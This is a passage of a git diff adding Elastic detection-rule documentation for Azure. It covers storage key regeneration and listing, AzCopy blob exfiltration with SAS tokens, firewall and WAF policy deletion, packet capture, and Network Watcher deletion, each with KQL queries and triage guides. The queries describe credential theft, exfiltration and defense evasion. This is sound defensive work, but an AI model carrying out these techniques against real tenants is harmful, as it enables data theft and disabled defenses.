positives. Work with service owners to understand these patterns and create exceptions for known, legitimate services. +- Azure policies or compliance checks that enforce key rotation can also lead to false positives. Coordinate with compliance teams to align detection rules with policy schedules and exclude these events. +- Ensure that any automated processes that regenerate keys are logged and documented. Use this documentation to create exceptions for these processes in the detection rule. + + +*Response and remediation* + + +- Immediately revoke the regenerated storage account keys to prevent unauthorized access. This can be done through the Azure portal or using Azure CLI commands. +- Identify and update all applications and services that rely on the compromised storage account keys with new, secure keys to restore functionality and prevent service disruption. +- Conduct a thorough review of access logs and audit trails to identify any unauthorized access or data exfiltration attempts that may have occurred using the regenerated keys. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or accounts have been compromised. +- Implement conditional access policies and multi-factor authentication (MFA) for accessing Azure resources to enhance security and prevent similar incidents. +- Review and update the storage account's access policies and permissions to ensure that only authorized users and applications have the necessary access. +- Enhance monitoring and alerting mechanisms to detect future unauthorized key regeneration attempts promptly, ensuring timely response to potential threats. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.STORAGE/STORAGEACCOUNTS/REGENERATEKEY/ACTION" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-account-keys-accessed-by-privileged-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-account-keys-accessed-by-privileged-user.asciidoc new file mode 100644 index 0000000000..e8535de399 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-account-keys-accessed-by-privileged-user.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-21-azure-storage-account-keys-accessed-by-privileged-user]] +=== Azure Storage Account Keys Accessed by Privileged User + +Identifies unusual high-privileged access to Azure Storage Account keys by users with Owner, Contributor, or Storage Account Contributor roles. This technique was observed in STORM-0501 ransomware campaigns where compromised identities with high-privilege Azure RBAC roles retrieved access keys to perform unauthorized operations on Storage Accounts. Microsoft recommends using Shared Access Signature (SAS) models instead of direct key access for improved security. This rule detects when a user principal with high-privilege roles accesses storage keys for the first time in 7 days. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ +* https://docs.microsoft.com/en-us/azure/storage/common/storage-account-keys-manage + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Use Case: Threat Detection +* Data Source: Azure +* Data Source: Azure Activity Logs +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating Azure Storage Account Keys Accessed by Privileged User* + + +Azure Storage Account keys provide full administrative access to storage resources. While legitimate administrators may occasionally need to access these keys, Microsoft recommends using more granular access methods like Shared Access Signatures (SAS) or Azure AD authentication. This detection identifies when users with high-privilege roles (Owner, Contributor, Storage Account Contributor, or User Access Administrator) access storage account keys, particularly focusing on unusual patterns that may indicate compromise. This technique was notably observed in STORM-0501 ransomware campaigns where compromised identities retrieved keys for unauthorized storage operations. + + +*Possible investigation steps* + + +- Review the `azure.activitylogs.identity.authorization.evidence.principal_id` to identify the specific user who accessed the storage account keys. +- Examine the `azure.resource.name` field to determine which storage account's keys were accessed and assess the sensitivity of data stored there. +- Check the `azure.activitylogs.identity.authorization.evidence.role` to confirm the user's assigned role and whether this level of access is justified for their job function. +- Investigate the timing and frequency of the key access event - multiple key retrievals in a short timeframe may indicate automated exfiltration attempts. +- Review the source IP address and geographic location of the access request to identify any anomalous access patterns or locations. +- Correlate this event with other activities by the same principal ID, looking for patterns such as permission escalations, unusual data access, or configuration changes. +- Check Azure AD sign-in logs for the user around the same timeframe to identify any suspicious authentication events or MFA bypasses. +- Examine subsequent storage account activities to determine if the retrieved keys were used for data access, modification, or exfiltration. + + +*False positive analysis* + + +- DevOps and infrastructure teams may legitimately access storage keys during deployment or migration activities. Document these planned activities and consider creating exceptions for specific time windows. +- Emergency troubleshooting scenarios may require administrators to retrieve storage keys. Establish a process for documenting these emergency accesses and review them regularly. +- Automated backup or disaster recovery systems might use high-privilege service accounts that occasionally need key access. Consider using managed identities or service principals with more restricted permissions instead. +- Legacy applications that haven't been migrated to use SAS tokens or Azure AD authentication may still require key-based access. Plan to modernize these applications and track them as exceptions in the meantime. +- New storage account provisioning by administrators will often include initial key retrieval. Consider the age of the storage account when evaluating the risk level. + + +*Response and remediation* + + +- Immediately rotate the storage account keys that were accessed using Azure Portal or Azure CLI. +- Review all recent activities on the affected storage account to identify any unauthorized data access, modification, or exfiltration attempts. +- If unauthorized access is confirmed, disable the compromised user account and initiate password reset procedures. +- Audit all storage accounts accessible by the compromised identity and rotate keys for any accounts that may have been accessed. +- Implement Entra ID authentication or SAS tokens for applications currently using storage account keys to reduce future risk. +- Configure Azure Policy to restrict the listKeys operation to specific roles or require additional approval workflows. +- Review and potentially restrict the assignment of high-privilege roles like Owner and Contributor, following the principle of least privilege. +- Enable diagnostic logging for all storage accounts to maintain detailed audit trails of access and operations. +- Consider implementing Privileged Identity Management (PIM) for just-in-time access to high-privilege roles that can list storage keys. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.activitylogs" and +azure.activitylogs.operation_name: "MICROSOFT.STORAGE/STORAGEACCOUNTS/LISTKEYS/ACTION" and +azure.activitylogs.identity.authorization.evidence.principal_type: "User" and +azure.activitylogs.identity.authorization.evidence.role: ( + "Owner" or + "Contributor" or + "Storage Account Contributor" or + "User Access Administrator" +) and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-blob-retrieval-via-azcopy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-blob-retrieval-via-azcopy.asciidoc new file mode 100644 index 0000000000..9a4a5cfe71 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-storage-blob-retrieval-via-azcopy.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-21-azure-storage-blob-retrieval-via-azcopy]] +=== Azure Storage Blob Retrieval via AzCopy + +Identifies successful GetBlob operations on Azure Storage Accounts using AzCopy user agent with SAS token authentication. AzCopy is a command-line utility for copying data to and from Azure Storage. While legitimate for data migration, adversaries may abuse AzCopy with compromised SAS tokens to exfiltrate data from Azure Storage Accounts. This rule detects the first occurrence of GetBlob operations from a specific storage account using this pattern. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ +* https://learn.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-v10 +* https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Azure Storage +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Storage Blob Retrieval via AzCopy* + + +Azure Storage Accounts provide cloud storage services for blobs, files, queues, and tables. Shared Access Signatures (SAS) tokens provide delegated access to resources in a storage account with specific permissions and time constraints. AzCopy is a Microsoft command-line utility designed for efficient data transfers to and from Azure Storage. While AzCopy is a legitimate tool, adversaries may abuse it with compromised SAS tokens to exfiltrate data from Azure Storage Accounts. + + +*Possible investigation steps* + +- Review the `azure.platformlogs.properties.accountName` field to identify which storage account is being accessed and assess the sensitivity of data stored in that account. +- Examine the `azure.platformlogs.properties.objectKey` field to identify the specific blob(s) being retrieved. Determine if the accessed files contain sensitive or confidential data. +- Check the `source.address` field to identify the source IP address of the request. Investigate if this IP is unusual, unexpected, or originates from an unexpected network or geographic location. +- Review the `azure.platformlogs.uri` field to examine the SAS token parameters, including: + - `se` (expiry time): Check when the SAS token expires + - `sp` (permissions): Verify what permissions were granted (e.g., "rl" for read and list) + - `sv` (API version): Note the storage service version being used +- Examine the `azure.platformlogs.identity.tokenHash` field to identify the specific SAS token signature being used. Correlate this with SAS token generation logs to determine when and how the token was created. +- Check the `azure.platformlogs.properties.responseBodySize` field to assess the volume of data being downloaded. Multiple GetBlob operations with large response sizes may indicate bulk data exfiltration. +- Search for related GetBlob operations from the same `source.address` or with the same `azure.platformlogs.identity.tokenHash` to identify patterns of systematic data retrieval. +- Review Azure Activity Logs for recent SAS token generation events or storage account key access operations that may indicate how the adversary obtained the credentials. +- Correlate this activity with ListBlobs or ListContainers operations from the same source, as adversaries often enumerate storage contents before exfiltration. +- Investigate the `azure.resource.group` field to understand which resource group the storage account belongs to and check for any recent security events or configuration changes in that resource group. + + +*False positive analysis* + +- Routine data migration or backup operations using AzCopy with SAS tokens are common in enterprise environments. If this is expected behavior for the storage account, consider adding exceptions for specific accounts or IP ranges. +- DevOps pipelines or automated workflows may use AzCopy with SAS tokens for legitimate data transfers. Review the automation configuration and add exceptions if appropriate. +- Third-party services or partners may have authorized access to storage accounts using AzCopy and SAS tokens. Verify these relationships and create exceptions for known authorized sources. + + +*Response and remediation* + +- If unauthorized access is confirmed, immediately revoke the compromised SAS token to prevent further data exfiltration. +- Review and rotate any additional SAS tokens that may have been compromised through the same attack vector. +- Assess the scope of data accessed or exfiltrated during the unauthorized GetBlob operations and determine if sensitive data was compromised. +- Implement additional monitoring and alerting for the affected storage account to detect any further suspicious activity. +- Review and strengthen SAS token generation policies, including implementing shorter expiration times and more restrictive permissions. +- Consider implementing Azure Storage firewall rules or private endpoints to restrict access to storage accounts from trusted networks only. +- Investigate how the SAS token was compromised and remediate the initial access vector to prevent future incidents. +- Document the incident and update security procedures to prevent similar compromises in the future. + + +==== Setup + + + +*Required Azure Storage Diagnostic Logs* + + +To ensure this rule functions correctly, the following diagnostic logs must be enabled for Azure Storage Accounts: +- StorageRead: This log captures all read operations performed on blobs in the storage account, including GetBlob operations. These logs should be streamed to the Event Hub used for the Azure integration configuration. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.platformlogs and + event.action: GetBlob and + azure.platformlogs.identity.type: SAS and + azure.platformlogs.properties.userAgentHeader: AzCopy* and + azure.platformlogs.statusCode: 200 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-vnet-firewall-front-door-waf-policy-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-vnet-firewall-front-door-waf-policy-deleted.asciidoc new file mode 100644 index 0000000000..8c9b5d8920 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-vnet-firewall-front-door-waf-policy-deleted.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-21-azure-vnet-firewall-front-door-waf-policy-deleted]] +=== Azure VNet Firewall Front Door WAF Policy Deleted + +Identifies the deletion of a Frontdoor Web Application Firewall (WAF) Policy in Azure. An adversary may delete a Frontdoor Web Application Firewall (WAF) Policy in an attempt to evade defenses and/or to eliminate barriers to their objective. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#networking + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure VNet Firewall Front Door WAF Policy Deleted* + + +Azure Front Door WAF policies are crucial for protecting web applications by filtering and monitoring HTTP requests to block malicious traffic. Adversaries may delete these policies to bypass security measures, facilitating unauthorized access or data exfiltration. The detection rule identifies such deletions by monitoring Azure activity logs for specific delete operations, signaling potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by filtering for the operation name "MICROSOFT.NETWORK/FRONTDOORWEBAPPLICATIONFIREWALLPOLICIES/DELETE" and ensure the event outcome is marked as Success. +- Identify the user or service principal responsible for the deletion by examining the associated user identity information in the activity logs. +- Check the timestamp of the deletion event to determine if it coincides with any other suspicious activities or alerts in the environment. +- Investigate the context of the deletion by reviewing any recent changes or incidents involving the affected Azure Frontdoor instance or related resources. +- Assess the impact of the deletion by identifying which web applications were protected by the deleted WAF policy and evaluating their current exposure to threats. +- Review access logs and network traffic for the affected web applications to detect any unusual or unauthorized access attempts following the policy deletion. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel may lead to the deletion of WAF policies. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or tools used for infrastructure management might delete and recreate WAF policies as part of their normal operation. Identify these scripts and exclude their activity from triggering alerts. +- Changes in organizational policy or architecture could necessitate the removal of certain WAF policies. Document these changes and adjust the detection rule to account for them by excluding specific policy names or identifiers. +- Test environments may frequently add and remove WAF policies as part of development cycles. Consider excluding activity from test environments by filtering based on resource group names or tags associated with non-production environments. + + +*Response and remediation* + + +- Immediately isolate the affected Azure Frontdoor instance to prevent further unauthorized access or data exfiltration. +- Review Azure activity logs to identify the user or service principal responsible for the deletion and assess their access permissions. +- Recreate the deleted WAF policy using the latest backup or configuration template to restore security controls. +- Implement conditional access policies to restrict access to Azure management operations, ensuring only authorized personnel can modify WAF policies. +- Notify the security operations team and relevant stakeholders about the incident for further investigation and monitoring. +- Conduct a post-incident review to identify gaps in security controls and update incident response plans accordingly. +- Enhance monitoring by setting up alerts for any future deletions of critical security policies to ensure rapid detection and response. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.NETWORK/FRONTDOORWEBAPPLICATIONFIREWALLPOLICIES/DELETE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-vnet-firewall-policy-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-vnet-firewall-policy-deleted.asciidoc new file mode 100644 index 0000000000..7d090c417d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-vnet-firewall-policy-deleted.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-21-azure-vnet-firewall-policy-deleted]] +=== Azure VNet Firewall Policy Deleted + +Identifies the deletion of a firewall policy in Azure. An adversary may delete a firewall policy in an attempt to evade defenses and/or to eliminate barriers to their objective. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/firewall-manager/policy-overview + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure VNet Firewall Policy Deleted* + + +Azure Firewall policies are crucial for managing and enforcing network security rules across Azure environments. Adversaries may target these policies to disable security measures, facilitating unauthorized access or data exfiltration. The detection rule monitors Azure activity logs for successful deletion operations of firewall policies, signaling potential defense evasion attempts by identifying specific operation names and outcomes. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by filtering for the operation name "MICROSOFT.NETWORK/FIREWALLPOLICIES/DELETE" and ensuring the event outcome is "Success". +- Identify the user or service principal responsible for the deletion by examining the 'caller' field in the activity logs. +- Check the timestamp of the deletion event to determine when the policy was deleted and correlate it with other security events or alerts around the same time. +- Investigate the context of the deletion by reviewing any related activities performed by the same user or service principal, such as modifications to other security settings or unusual login patterns. +- Assess the impact of the deletion by identifying which resources or networks were protected by the deleted firewall policy and evaluating the potential exposure or risk introduced by its removal. +- Contact the responsible user or team to verify if the deletion was authorized and part of a planned change or if it was unexpected and potentially malicious. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel can trigger the deletion event. Ensure that such activities are logged and verified by cross-referencing with change management records. +- Automated scripts or tools used for infrastructure management might delete and recreate firewall policies as part of their operation. Identify these scripts and exclude their activity from alerts by using specific identifiers or tags. +- Test environments often undergo frequent changes, including policy deletions. Consider excluding activity from known test environments by filtering based on resource group or subscription IDs. +- Scheduled policy updates or rotations might involve temporary deletions. Document these schedules and adjust monitoring rules to account for these expected changes. +- Ensure that any third-party integrations or services with permissions to modify firewall policies are accounted for, and their actions are reviewed and whitelisted if necessary. + + +*Response and remediation* + + +- Immediately isolate the affected Azure resources to prevent further unauthorized access or data exfiltration. This can be done by applying restrictive network security group (NSG) rules or using Azure Security Center to quarantine resources. +- Review Azure activity logs to identify the user or service principal responsible for the deletion. Verify if the action was authorized and investigate any suspicious accounts or credentials. +- Restore the deleted firewall policy from backups or recreate it using predefined templates to ensure that network security rules are reinstated promptly. +- Implement conditional access policies to enforce multi-factor authentication (MFA) for all users with permissions to modify or delete firewall policies, reducing the risk of unauthorized changes. +- Escalate the incident to the security operations team for further investigation and to determine if additional resources or systems have been compromised. +- Conduct a post-incident review to identify gaps in security controls and update incident response plans to address similar threats in the future. +- Enhance monitoring by configuring alerts for any future attempts to delete or modify critical security policies, ensuring rapid detection and response to potential threats. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.NETWORK/FIREWALLPOLICIES/DELETE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-vnet-full-network-packet-capture-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-vnet-full-network-packet-capture-enabled.asciidoc new file mode 100644 index 0000000000..e8b12e47b6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-vnet-full-network-packet-capture-enabled.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-21-azure-vnet-full-network-packet-capture-enabled]] +=== Azure VNet Full Network Packet Capture Enabled + +Identifies potential full network packet capture in Azure. Packet Capture is an Azure Network Watcher feature that can be used to inspect network traffic. This feature can potentially be abused to read sensitive data from unencrypted internal traffic. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure VNet Full Network Packet Capture Enabled* + + +Azure's Packet Capture is a feature of Network Watcher that allows for the inspection of network traffic, useful for diagnosing network issues. However, if misused, it can capture sensitive data from unencrypted traffic, posing a security risk. Adversaries might exploit this to access credentials or other sensitive information. The detection rule identifies suspicious packet capture activities by monitoring specific Azure activity logs for successful operations, helping to flag potential misuse. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the specific user or service principal associated with the packet capture operation by examining the `azure.activitylogs.operation_name` and `event.dataset` fields. +- Check the timestamp of the detected packet capture activity to determine the exact time frame of the event and correlate it with any other suspicious activities or changes in the environment. +- Investigate the source and destination IP addresses involved in the packet capture to understand the scope and potential impact, focusing on any unencrypted traffic that might have been captured. +- Verify the legitimacy of the packet capture request by contacting the user or team responsible for the operation to confirm if it was authorized and necessary for troubleshooting or other legitimate purposes. +- Assess the risk of exposed sensitive data by identifying any critical systems or services that were part of the captured network traffic, especially those handling credentials or personal information. + + +*False positive analysis* + + +- Routine network diagnostics by authorized personnel can trigger the rule. To manage this, create exceptions for specific user accounts or IP addresses known to perform regular diagnostics. +- Automated network monitoring tools might initiate packet captures as part of their normal operations. Identify these tools and exclude their activities from triggering alerts. +- Scheduled maintenance activities often involve packet captures for performance analysis. Document these schedules and configure the rule to ignore captures during these periods. +- Development and testing environments may frequently use packet capture for debugging purposes. Exclude these environments by filtering based on resource tags or environment identifiers. +- Legitimate security audits may involve packet capture to assess network security. Coordinate with the audit team to whitelist their activities during the audit period. + + +*Response and remediation* + + +- Immediately isolate the affected network segment to prevent further unauthorized packet capture and potential data exfiltration. +- Revoke any suspicious or unauthorized access to Azure Network Watcher and related resources to prevent further misuse. +- Conduct a thorough review of the captured network traffic logs to identify any sensitive data exposure and assess the potential impact. +- Reset credentials and access tokens for any accounts or services that may have been compromised due to exposed unencrypted traffic. +- Implement network encryption protocols to protect sensitive data in transit and reduce the risk of future packet capture exploitation. +- Escalate the incident to the security operations team for further investigation and to determine if additional security measures are necessary. +- Enhance monitoring and alerting for Azure Network Watcher activities to detect and respond to similar threats more effectively in the future. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name: + ( + MICROSOFT.NETWORK/*/STARTPACKETCAPTURE/ACTION or + MICROSOFT.NETWORK/*/VPNCONNECTIONS/STARTPACKETCAPTURE/ACTION or + MICROSOFT.NETWORK/*/PACKETCAPTURES/WRITE + ) and +event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Network Sniffing +** ID: T1040 +** Reference URL: https://attack.mitre.org/techniques/T1040/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Sniffing +** ID: T1040 +** Reference URL: https://attack.mitre.org/techniques/T1040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-vnet-network-watcher-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-vnet-network-watcher-deleted.asciidoc new file mode 100644 index 0000000000..17897ab40f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-vnet-network-watcher-deleted.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-21-azure-vnet-network-watcher-deleted]] +=== Azure VNet Network Watcher Deleted + +Identifies the deletion of a Network Watcher in Azure. Network Watchers are used to monitor, diagnose, view metrics, and enable or disable logs for resources in an Azure virtual network. An adversary may delete a Network Watcher in an attempt to evade defenses. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/network-watcher/network-watcher-monitoring-overview + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure VNet Network Watcher Deleted* + + +Azure Network Watcher is a vital tool for monitoring and diagnosing network issues within Azure environments. It provides insights and logging capabilities crucial for maintaining network security. Adversaries may delete Network Watchers to disable these monitoring functions, thereby evading detection. The detection rule identifies such deletions by monitoring Azure activity logs for specific delete operations, flagging successful attempts as potential security threats. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by checking for the operation name "MICROSOFT.NETWORK/NETWORKWATCHERS/DELETE" and ensuring the event outcome is marked as "Success" or "success". +- Identify the user or service principal responsible for the deletion by examining the associated user identity or service principal ID in the activity logs. +- Investigate the timeline of events leading up to the deletion by reviewing related activity logs for any unusual or unauthorized access patterns or changes in permissions. +- Assess the impact of the deletion by determining which resources were being monitored by the deleted Network Watcher and evaluating the potential security implications. +- Check for any other suspicious activities or alerts in the Azure environment that may indicate a broader attack or compromise, focusing on defense evasion tactics. + + +*False positive analysis* + + +- Routine maintenance activities by authorized personnel may trigger the deletion alert. Verify if the 